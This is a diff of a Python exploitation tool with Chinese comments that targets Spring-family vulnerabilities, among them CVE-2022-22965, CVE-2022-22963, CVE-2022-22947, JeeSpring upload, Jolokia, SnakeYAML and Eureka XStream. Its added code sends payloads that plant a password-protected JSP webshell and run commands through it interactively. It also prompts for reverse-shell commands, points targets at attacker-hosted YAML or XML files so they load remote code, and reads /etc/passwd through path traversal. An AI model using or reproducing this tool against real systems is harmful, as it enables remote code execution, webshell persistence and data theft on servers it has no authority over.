Presto/2.9.181 Version/12.00"] -def CVE_2022_22965(url, proxies): - cprint("================开始对目标URL进行CVE-2022-22965漏洞利用================", "green") - Headers_1 = { +def JSON_handle(header1, header2): + dict1 = json.loads(str(header1).replace("'", "\"")) + dict2 = json.loads(str(header2).replace("'", "\"")) + # 合并两个字典 + merged_dict = {**dict1, **dict2} + # 将合并后的字典转换为 JSON 字符串 + result_json = json.dumps(merged_dict, indent=2) + return result_json + +def CVE_2022_22965(url, proxies, header_new): + cprint("======开始对目标URL进行CVE-2022-22965漏洞利用======", "green") + oldHeaders_1 = { "User-Agent": random.choice(ua), + "prefix": "<%", "suffix": "%>//", + "c": "Runtime", "c1": "Runtime", "c2": "<%", "DNT": "1", + } + oldHeaders_2 = { + "User-Agent": random.choice(ua), "Content-Type": "application/x-www-form-urlencoded" - } - payload_linux = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22bash%22,%22-c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" - payload_win = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22cmd%22,%22/c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" - payload_http = """?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" - data1 = payload_linux - data2 = payload_win + } + Headers_1 = json.loads(str(JSON_handle(oldHeaders_1, header_new)).replace("'", "\"")) + Headers_2 = json.loads(str(JSON_handle(oldHeaders_2, header_new)).replace("'", "\"")) + payload_linux = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22tomcat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22bash%22,%22-c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" + payload_win = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22tomcat%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22cmd%22,%22/c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" + payload_http = """?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" + payload_other = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" + file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_" getpayload = url + payload_http try: requests.packages.urllib3.disable_warnings() - requests.post(url, headers=Headers_1, data=data1, timeout=6, allow_redirects=False, verify=False, proxies=proxies) - sleep(1) - requests.post(url, headers=Headers_1, data=data2, timeout=6, allow_redirects=False, verify=False, proxies=proxies) - sleep(1) - requests.get(getpayload, headers=Headers_1, timeout=6, allow_redirects=False, verify=False, proxies=proxies) - sleep(1) - test = requests.get(url + "tomcatwar.jsp") - if (test.status_code == 200) and ('aabysszg' in str(test.text)): - cprint("[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:" + url + "tomcatwar.jsp?pwd=aabysszg&cmd=whoami" ,"red") + requests.post(url, headers=Headers_2, timeout = outtime, data=file_date_data, allow_redirects=False, verify=False, proxies=proxies) + requests.post(url, headers=Headers_2, timeout = outtime, data=payload_other, allow_redirects=False, verify=False, proxies=proxies) + requests.post(url, headers=Headers_1, timeout = outtime, data=payload_linux, allow_redirects=False, verify=False, proxies=proxies) + sleep(0.5) + requests.post(url, headers=Headers_1, timeout = outtime, data=payload_win, allow_redirects=False, verify=False, proxies=proxies) + sleep(0.5) + requests.get(getpayload, headers=Headers_1, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) + sleep(0.5) + test = requests.get(url + "shell.jsp", timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) + test_again = requests.get(url + "shell.jsp", timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) + if (test_again.status_code == 200) and ('title' not in test_again.text): + cprint("[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:" + url + "shell.jsp?pwd=tomcat&cmd=whoami" ,"red") while 1: - cmd = input("[+] 请输入要执行的命令>>> ") - url_shell = url + "tomcatwar.jsp?pwd=aabysszg&cmd={}".format(cmd) - r = requests.get(url_shell) - resp = r.text - result = re.findall('([^\x00]+)\n', resp)[0] - cprint(result ,"green") + Cmd = input("[+] 请输入要执行的命令>>> ") + if Cmd == "exit": + sys.exit(0) + url_shell = url + "shell.jsp?pwd=tomcat&cmd={}".format(Cmd) + r = requests.get(url_shell, timeout = outtime, verify=False, proxies=proxies) + r_again = requests.get(url_shell, timeout = outtime, verify=False, proxies=proxies) + if r_again.status_code == 500: + cprint("[-] 重发包返回状态码500,请手动尝试利用WebShell:shell.jsp?pwd=tomcat&cmd=whoami\n","yellow") + break + else: + resp = r_again.text + result = re.findall('([^\x00]+)\n', resp)[0] + cprint(result ,"green") else: - cprint("[-] CVE-2022-22965漏洞不存在或者已经被利用,shell地址自行扫描\n","yellow") + cprint("[-] CVE-2022-22965漏洞不存在或者已经被利用,shell地址请手动尝试访问:\n[/shell.jsp?pwd=tomcat&cmd=命令] \n","yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() except Exception as e: - print(e) - -def CVE_2022_22963(url, proxies): - cprint("================开始对目标URL进行CVE-2022-22963漏洞利用================", "green") - payload = f'T(java.lang.Runtime).getRuntime().exec("whoami")' + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() +def CVE_2022_22963(url, proxies, header_new): + cprint("======开始对目标URL进行CVE-2022-22963漏洞利用======", "green") + header = {'spring.cloud.function.routing-expression': 'T(java.lang.Runtime).getRuntime().exec("mkdir /tmp/log")'} data = 'test' - header = { - 'spring.cloud.function.routing-expression': payload, + oldHeader_1 = { 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Accept-Language': 'en', @@ -69,77 +102,828 @@ def CVE_2022_22963(url, proxies): 'Content-Type': 'application/x-www-form-urlencoded' } path = 'functionRouter' + headernew = json.loads(str(JSON_handle(oldHeader_1, header_new)).replace("'", "\"")) + header.update(headernew) url = url + path - requests.packages.urllib3.disable_warnings() - req = requests.post(url=url, headers=header, data=data, verify=False, proxies=proxies, timeout=6) - code = req.status_code - text = req.text - rsp = '"error":"Internal Server Error"' - - if code == 500 and rsp in text: - cprint(f'[+] {url} 存在编号为CVE-2022-22963的RCE漏洞,请手动反弹shell', "red") - print('\n') - else: - cprint("[-] CVE-2022-22963漏洞不存在", "yellow") - print('\n') - -def CVE_2022_22947(url, proxies): - cprint("================开始对目标URL进行CVE-2022-22947漏洞利用================","green") - headers1 = { + try: + requests.packages.urllib3.disable_warnings() + req = requests.post(url=url, headers=header, timeout = outtime, data=data, verify=False, proxies=proxies) + code = req.status_code + text = req.text + rsp = '"error":"Internal Server Error"' + vul_status = 0 + if (code == 500) and (rsp in text): + vul_status = 1 + cprint(f'[+] {url} 存在编号为CVE-2022-22963的RCE漏洞\n', "red") + else: + cprint("[-] CVE-2022-22963漏洞不存在\n", "yellow") + + if (vul_status == 1): + Cmd = input("[+] 请输入反弹shell或ping的命令(无回显)>>> ") + header = { + 'spring.cloud.function.routing-expression': 'T(java.lang.Runtime).getRuntime().exec("'+ Cmd + '")'} + header.update(headernew) + req = requests.post(url=url, headers=header, timeout=outtime, data=data, verify=False, proxies=proxies) + code = req.status_code + text = req.text + rsp = '"error":"Internal Server Error"' + vul_status = 0 + if (code == 500) and (rsp in text): + vul_status = 1 + cprint(f'[+] {url} 命令执行成功,请检查是否收到回连\n', "red") + else: + cprint("[-] 命令执行失败\n", "yellow") + + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def CVE_2022_22947(url, proxies, header_new): + cprint("======开始对目标URL进行CVE-2022-22947漏洞利用======","green") + oldHeader_1 = { 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Accept-Language': 'en', 'User-Agent': random.choice(ua), 'Content-Type': 'application/json' } - - headers2 = { + oldHeader_2 = { 'User-Agent': random.choice(ua), 'Content-Type': 'application/x-www-form-urlencoded' } + headers1 = json.loads(str(JSON_handle(oldHeader_1, header_new)).replace("'", "\"")) + headers2 = json.loads(str(JSON_handle(oldHeader_2, header_new)).replace("'", "\"")) + vul_status = 0 - payload = '''{\r + payload_windows = '''{\r "id": "hacktest",\r "filters": [{\r "name": "AddResponseHeader",\r - "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r + "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"dir\\"}).getInputStream()))}"}\r }],\r "uri": "http://example.com",\r "order": 0\r }''' + payload_linux = payload_windows.replace('dir', 'id') + + try: + cprint("[+] 正在发送Linux的Payload","green") + requests.packages.urllib3.disable_warnings() + random_string = generate_random_route(5) + payload_new = payload_linux.replace('hacktest', random_string) + requests.post(url=url + "actuator/gateway/routes/" + random_string, data=payload_new, headers=headers1, timeout = outtime, json=json ,verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) + re3 = requests.get(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, timeout = outtime, verify=False, proxies=proxies) + requests.delete(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, verify=False, + proxies=proxies) + if ('uid=' in str(re3.text)) and ('gid=' in str(re3.text)) and ('groups=' in str(re3.text)): + cprint("[+] Payload已经输出,回显结果如下:", "red") + print('\n') + print(re3.text) + print('\n') + print("[+] 执行命令模块(输入exit退出)") + vul_status = 1 + else: + cprint("[.] Linux的Payload没成功","green") + cprint("[+] 正在发送Windows的Payload","green") + requests.packages.urllib3.disable_warnings() + random_string = generate_random_route(5) + payload_new = payload_windows.replace('hacktest', random_string) + requests.post(url=url + "actuator/gateway/routes/" + random_string, data=payload_new, headers=headers1, timeout = outtime, json=json ,verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) + re3 = requests.get(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, timeout = outtime, verify=False, proxies=proxies) + requests.delete(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, + timeout=outtime, + verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, verify=False, + proxies=proxies) + if ('' in str(re3.text)): + cprint("[+] Payload已经输出,回显结果如下:", "red") + print('\n') + print(re3.text) + print('\n') + print("[+] 执行命令模块(输入exit退出)") + vul_status = 1 + if vul_status == 0: + cprint("[-] CVE-2022-22947漏洞不存在\n", "yellow") + while vul_status == 1: + Cmd = input("[+] 请输入要执行的命令>>> ") + if Cmd == "exit": + sys.exit() + else: + payload_new = payload_windows.replace('dir', Cmd) + random_string = generate_random_route(5) + payload_new = payload_new.replace('hacktest', random_string) + re1 = requests.post(url=url + "actuator/gateway/routes/" + random_string, data=payload_new, headers=headers1, timeout = outtime, json=json ,verify=False, proxies=proxies) + re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout = outtime, verify=False, proxies=proxies) + re3 = requests.get(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, timeout = outtime, verify=False, proxies=proxies) + re4 = requests.delete(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, + timeout=outtime, + verify=False, proxies=proxies) + re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, + verify=False, + proxies=proxies) + result = re3.text + cprint(result ,"green") + print('\n') + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def JeeSpring_2023(url, proxies, header_new): + cprint("======开始对目标URL进行2023JeeSpring任意文件上传漏洞利用======","green") + oldHeader = { + 'User-Agent': random.choice(ua), + 'Content-Type': 'multipart/form-data;boundary=----WebKitFormBoundarycdUKYcs7WlAxx9UL', + 'Accept-Encoding': 'gzip, deflate', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', + 'Accept-Language': 'zh-CN,zh;q=0.9,ja;q=0.8', + 'Connection': 'close' + } + headers1 = json.loads(str(JSON_handle(oldHeader, header_new)).replace("'", "\"")) + payload2 = b'LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5Y2RVS1ljczdXbEF4eDlVTA0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJmaWxlIjsgZmlsZW5hbWU9ImxvZy5qc3AiDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KDQo8JSBvdXQucHJpbnRsbigiSGVsbG8gV29ybGQiKTsgJT4NCi0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeWNkVUtZY3M3V2xBeHg5VUwtLQo=' + payload = base64.b64decode(payload2) + path = 'static/uploadify/uploadFile.jsp?uploadPath=/static/uploadify/' + + try: + requests.packages.urllib3.disable_warnings() + re1 = requests.post(url=url + path, data=payload, headers=headers1, timeout = outtime, verify=False, proxies=proxies) + code1 = re1.status_code + if ('jsp' in str(re1.text)) and (int(code1) == 200): + cprint("[+] Payload已经发送,成功上传JSP", "red") + newpath = str(re1.text) + urltest = url + "static/uploadify/" + newpath.strip() + retest = requests.get(url=urltest, timeout = outtime, verify=False, proxies=proxies) + code2 = retest.status_code + if ('Hello' in str(retest.text)) and (code2 == 200): + cprint(f'[+] {url} 存在2023JeeSpring任意文件上传漏洞,Poc地址如下:', "red") + cprint(urltest + '\n', "red") + else: + cprint(f'[.] 未发现Poc存活,请手动验证: {urltest}', "yellow") + else: + cprint("[-] 2023JeeSpring任意文件上传漏洞不存在\n", "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def JolokiaRCE(url, proxies, header_new): + cprint("======开始对目标URL进行Jolokia系列RCE漏洞测试======","green") + path1 = 'jolokia' + path2 = 'actuator/jolokia' + path3 = 'jolokia/list' + oldHeader = {"User-Agent": random.choice(ua)} + headers1 = json.loads(str(JSON_handle(oldHeader, header_new)).replace("'", "\"")) + try: + requests.packages.urllib3.disable_warnings() + re1 = requests.post(url=url + path1, headers=headers1, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) + code1 = re1.status_code + re2 = requests.post(url=url + path2, headers=headers1, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) + code2 = re2.status_code + if ((int(code1) == 200) or (int(code2) == 200)): + cprint("[+] 发现jolokia相关路径状态码为200,进一步验证", "red") + retest = requests.get(url=url + path3, timeout = outtime, verify=False, proxies=proxies) + code3 = retest.status_code + if ('reloadByURL' in str(retest.text)) and (code3 == 200): + cprint(f'[+] {url} 存在Jolokia-Logback-JNDI-RCE漏洞,Poc地址如下:', "red") + cprint(url + path3 + '\n', "red") + elif ('createJNDIRealm' in str(retest.text)) and (code3 == 200): + cprint(f'[+] {url} 存在Jolokia-Realm-JNDI-RCE漏洞,Poc地址如下:', "red") + cprint(url + path3 + '\n', "red") + else: + cprint(f'[.] 未发现jolokia/list路径存在关键词,请手动验证:', "yellow") + cprint(url + path3 + '\n', "red") + else: + cprint("[-] Jolokia系列RCE漏洞不存在\n", "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() - requests.packages.urllib3.disable_warnings() - re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload, headers=headers1, json=json ,verify=False, proxies=proxies) - re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2 ,verify=False, proxies=proxies) - re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2 ,verify=False, proxies=proxies) - re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2 ,verify=False, proxies=proxies) - re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2 ,verify=False, proxies=proxies) - if ('uid=' in str(re3.text)) and ('gid=' in str(re3.text)) and ('groups=' in str(re3.text)): - cprint("[+] Payload已经输出,回显结果如下:", "red") - print('\n') - print(re3.text) - else: - cprint("[-] CVE-2022-22947漏洞不存在", "yellow") - print('\n') - -def vul(url,proxies): - if ('://' not in url): - url = str("http://") + str(url) - if str(url[-1]) != "/": - url = url + "/" +def CVE_2021_21234(url,proxies, header_new): + cprint("======开始对目标URL进行CVE-2021-21234漏洞测试======","green") + payload1 = 'manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../' + payload2 = 'log/view?filename=/windows/win.ini&base=../../../../../../../../../../' + payload3 = 'manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../' + payload4 = 'log/view?filename=/etc/passwd&base=../../../../../../../../../../' + oldHeader = {"User-Agent": random.choice(ua)} + headers1 = json.loads(str(JSON_handle(oldHeader, header_new)).replace("'", "\"")) try: requests.packages.urllib3.disable_warnings() - r = requests.get(url, timeout=6, verify=False, proxies=proxies) # 设置超时6秒 - if r.status_code == 503: - sys.exit() + re1 = requests.post(url=url + payload1, headers=headers1, timeout = outtime, verify=False, proxies=proxies) + re2 = requests.post(url=url + payload2, headers=headers1, timeout = outtime, verify=False, proxies=proxies) + re3 = requests.post(url=url + payload3, headers=headers1, timeout = outtime, verify=False, proxies=proxies) + re4 = requests.post(url=url + payload4, headers=headers1, timeout = outtime, verify=False, proxies=proxies) + if (('MAPI' in str(re1.text)) or ('MAPI' in str(re2.text))): + cprint("[+] 发现Spring Boot目录遍历漏洞且系统为Win,Poc路径如下:", "red") + cprint(url + payload1, "red") + cprint(url + payload2 + '\n', "red") + elif (('root:x:' in str(re3.text)) or ('root:x:' in str(re4.text))): + cprint(f'[+] 发现Spring Boot目录遍历漏洞且系统为Linux,Poc路径如下:', "red") + cprint(url + payload3, "red") + cprint(url + payload4 + '\n', "red") + else: + cprint("[-] 未发现Spring Boot目录遍历漏洞\n", "yellow") except KeyboardInterrupt: print("Ctrl + C 手动终止了进程") sys.exit() - except: - cprint("[-] URL为 " + url + " 的目标积极拒绝请求,予以跳过!", "magenta") + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def SnakeYAML_RCE(url, proxies, header_new): + cprint("======开始对目标URL进行SnakeYAML RCE漏洞测试======","green") + + oldHeaders_1 = { + "User-Agent": random.choice(ua), + "Content-Type": "application/x-www-form-urlencoded" + } + oldHeaders_2 = { + "User-Agent": random.choice(ua), + "Content-Type": "application/json" + } + + payload_1 = "spring.cloud.bootstrap.location=http://127.0.0.1/example.yml" + payload_2 = "{\"name\":\"spring.main.sources\",\"value\":\"http://127.0.0.1/example.yml\"}" + url_1 = url + 'env' + url_2 = url + 'actuator/env' + url_refresh_1 = url + 'refresh' + url_refresh_2 = url + 'actuator/refresh' + Headers_1 = json.loads(str(JSON_handle(oldHeaders_1, header_new)).replace("'", "\"")) + Headers_2 = json.loads(str(JSON_handle(oldHeaders_2, header_new)).replace("'", "\"")) + + try: + requests.packages.urllib3.disable_warnings() + re1 = requests.post(url=url_1, headers=Headers_1, timeout = outtime, data=payload_1, allow_redirects=False, verify=False, proxies=proxies) + re2 = requests.post(url=url_2, headers=Headers_2, timeout = outtime, data=payload_2, allow_redirects=False, verify=False, proxies=proxies) + + if ('example.yml' in str(re1.text)): + cprint("[+] 发现SnakeYAML-RCE漏洞,版本为Spring 1.x", "red") + EvilUrl = input("[+] 请输入恶意yaml所在的URL(如:http://chybeta.com/example.yml)>>> ") + EvilUrl = EvilUrl.strip() + payload_1 = "spring.cloud.bootstrap.location=" + EvilUrl + re1 = requests.post(url=url_1, headers=Headers_1, timeout=outtime, data=payload_1, allow_redirects=False, + verify=False, proxies=proxies) + requests.post(url=url_refresh_1, headers=Headers_1, timeout=outtime, allow_redirects=False,) + cprint("[+] 恶意yaml已经成功加载,请检查是否有回连", "red") + + elif ('example.yml' in str(re2.text)): + cprint("[+] 发现SnakeYAML-RCE漏洞,版本为Spring 2.x", "red") + EvilUrl = input("[+] 请输入恶意yaml所在的URL(如:http://chybeta.com/example.yml)>>> ") + EvilUrl = EvilUrl.strip() + payload_2 = "{\"name\":\"spring.main.sources\",\"value\":\"" + EvilUrl + "\"}" + re2 = requests.post(url=url_2, headers=Headers_2, timeout=outtime, data=payload_2, allow_redirects=False, + verify=False, proxies=proxies) + requests.post(url=url_refresh_2, headers=Headers_2, timeout=outtime, allow_redirects=False,) + cprint("[+] 恶意yaml已经成功加载,请检查是否有回连", "red") + else: + cprint("[-] 未发现SnakeYAML-RCE漏洞\n", "yellow") + + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def Eureka_xstream_RCE(url, proxies, header_new): + cprint("======开始对目标URL进行Eureka_Xstream反序列化漏洞测试======","green") + oldHeaders_1 = { + "User-Agent": random.choice(ua), + "Content-Type": "application/x-www-form-urlencoded" + } + oldHeaders_2 = { + "User-Agent": random.choice(ua), + "Content-Type": "application/json" + } + Headers_1 = json.loads(str(JSON_handle(oldHeaders_1, header_new)).replace("'", "\"")) + Headers_2 = json.loads(str(JSON_handle(oldHeaders_2, header_new)).replace("'", "\"")) + payload_1 = "eureka.client.serviceUrl.defaultZone=http://127.0.0.2/example.yml" + payload_2 = "{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"http://127.0.0.2/example.yml\"}" + path1 = 'env' + path2 = 'actuator/env' + url_refresh_1 = url + 'refresh' + url_refresh_2 = url + 'actuator/refresh' + try: + requests.packages.urllib3.disable_warnings() + urltest1 = url + path1 + urltest2 = url + path2 + re1 = requests.post(url=urltest1, headers=Headers_1, timeout = outtime, data=payload_1, allow_redirects=False, verify=False, proxies=proxies) + re2 = requests.post(url=urltest2, headers=Headers_2, timeout = outtime, data=payload_2, allow_redirects=False, verify=False, proxies=proxies) + + if ('127.0.0.2' in str(re1.text)): + cprint("[+] 发现Eureka_Xstream反序列化漏洞,版本为Spring 1.x", "red") + EvilUrl = input("[+] 请输入恶意xml所在的URL(如:http://chybeta.com/example.xml)>>> ") + EvilUrl = EvilUrl.strip() + payload_1 = "eureka.client.serviceUrl.defaultZone=" + EvilUrl + re1 = requests.post(url=urltest1, headers=Headers_1, timeout=outtime, data=payload_1, allow_redirects=False, + verify=False, proxies=proxies) + requests.post(url=url_refresh_1, timeout=outtime, allow_redirects=False, verify=False, proxies=proxies) + cprint("[+] 恶意xml已经成功加载,请检查是否有回连", "red") + + + elif ('127.0.0.2' in str(re2.text)): + cprint("[+] 发现Eureka_Xstream反序列化漏洞,版本为Spring 2.x", "red") + EvilUrl = input("[+] 请输入恶意xml所在的URL(如:http://chybeta.com/example.xml)>>> ") + EvilUrl = EvilUrl.strip() + payload_2 = "{\"name\":\"eureka.client.serviceUrl.defaultZone\",\"value\":\"" + EvilUrl + "\"}" + re2 = requests.post(url=urltest2, headers=Headers_2, timeout=outtime, data=payload_2, allow_redirects=False, + verify=False, proxies=proxies) + requests.post(url=url_refresh_2, timeout=outtime, allow_redirects=False, verify=False, proxies=proxies) + cprint("[+] 恶意xml已经成功加载,请检查是否有回连", "red") + + else: + cprint("[-] 未发现Eureka_Xstream反序列化漏洞\n", "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") sys.exit() - CVE_2022_22947(url ,proxies) - CVE_2022_22963(url ,proxies) - CVE_2022_22965(url ,proxies) + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def CVE_2018_1273(url, proxies, header_new): + cprint("======开始对目标URL进行Spring_Data_Commons远程命令执行漏洞测试======","green") + oldHeaders = { + "User-Agent": random.choice(ua), + "Content-Type": "application/x-www-form-urlencoded" + } + Headers = json.loads(str(JSON_handle(oldHeaders, header_new)).replace("'", "\"")) + path1 = 'users' + path2 = 'users?page=0&size=5' + payload1 = "username[#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\")]=chybeta&password=chybeta&repeatedPassword=chybeta" + payload2 = "username[#this.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec('whoami')\")]=asdf" + try: + requests.packages.urllib3.disable_warnings() + urltest1 = url + path1 + urltest2 = url + path2 + re1 = requests.get(url=urltest1, headers=Headers, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) + code1 = re1.status_code + if ((int(code1) == 200) and ('Users' in str(re1.text))): 